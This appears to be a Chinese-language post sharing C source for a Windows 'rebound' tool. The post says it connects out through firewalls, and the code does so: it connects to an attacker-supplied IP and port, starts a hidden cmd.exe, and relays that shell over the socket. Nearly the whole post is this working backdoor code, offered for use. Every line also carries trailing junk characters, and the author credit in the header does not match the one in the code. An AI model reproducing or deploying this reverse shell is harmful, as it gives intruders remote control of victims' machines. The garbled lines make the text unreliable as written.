这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Et`z7Q*e
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/* ============================== ^U:pv0Qz
Rebound port in Windows NT jk 9K>4W
By wind,2006/7 #Du1(R
===============================*/ cq@8!Eu w]
#include x*bM C&Ea
#include N55;oj_K
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#pragma comment(lib,"wsock32.lib") vPSH
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void OutputShell(); (j}"1
SOCKET sClient; X^fMt]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9$UjZ$ v
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void main(int argc,char **argv) %2bZeZ
{ @ZD1HA,h"
WSADATA stWsaData; el7P
int nRet; /`}C~
SOCKADDR_IN stSaiClient,stSaiServer; q9icj
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if(argc != 3) +anNpy
{ e!G
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printf("Useage:\n\rRebound DestIP DestPort\n"); (Dq3e9fX
return; L;E9"7Jo
} ZDcv-6C)B
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WSAStartup(MAKEWORD(2,2),&stWsaData); B.0(}@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]%ikr&78u
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stSaiClient.sin_family = AF_INET; T3%yV*F,
stSaiClient.sin_port = htons(0); ~*THL0]~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qmtVk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {$oZR"MP
{ se2+X>@>
printf("Bind Socket Failed!\n"); s1:UCv-%
return; p,$1%/m
} q8P| ]
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stSaiServer.sin_family = AF_INET; l3b$b%0'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tJ bOn$]2"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W446;)?5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @C~TD)K
{ Rfeiv
printf("Connect Error!"); dxUq5`#G,
return; #O\4XZ,Lv
} !ck=\3pr
OutputShell(); ('OPW&fRG
} \*v}IO>2})
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void OutputShell() M)Vz9,
{ }i|o":-x+
char szBuff[1024]; "|.>pD#0&
SECURITY_ATTRIBUTES stSecurityAttributes; y? )v-YGu
OSVERSIONINFO stOsversionInfo; m:/ nw,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "7l p|0I
STARTUPINFO stStartupInfo; ubj
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char *szShell; hc`9Y
PROCESS_INFORMATION stProcessInformation; 9Rb-QI
unsigned long lBytesRead; 0r_8/|N#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 05=O5<l
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s~IOc%3
stSecurityAttributes.lpSecurityDescriptor = 0; vObP(@0AM
stSecurityAttributes.bInheritHandle = TRUE; mhnD1}9,Ih
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &z
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7iLm_#M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); slOki|p;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w4:n(.;HK
stStartupInfo.wShowWindow = SW_HIDE; NQ'^z
stStartupInfo.hStdInput = hReadPipe; xX{uDMYa;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; InH
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GetVersionEx(&stOsversionInfo); x98LOO
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switch(stOsversionInfo.dwPlatformId) B(:Kw;r?
{ mkk74NY
case 1: XG<^j}H{}
szShell = "command.com"; ^t*+hFEI
break; 83412@&
default: #E{aN?_
szShell = "cmd.exe"; E,c~.jYc
break; x/[i &Gkv
} Xd)ba9{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %,K |v
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send(sClient,szMsg,77,0); } <2F]UuR
while(1) ?uU0NKZA
{ _xl#1>G^J
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yz9`1R2c
if(lBytesRead) d=oOMXYa
{ wju~ 5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \$?[>=<wB
send(sClient,szBuff,lBytesRead,0); D8m?`^Zz
} ?9H7Twi+T
else ~e
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{ D'fP2?3FK
lBytesRead=recv(sClient,szBuff,1024,0); Qc[[@=S%
if(lBytesRead<=0) break; l]sO[`X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +GP"9S2%R
} n\,TW&3
} zesEbR)j
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return; &0(2Z^Z>fw
}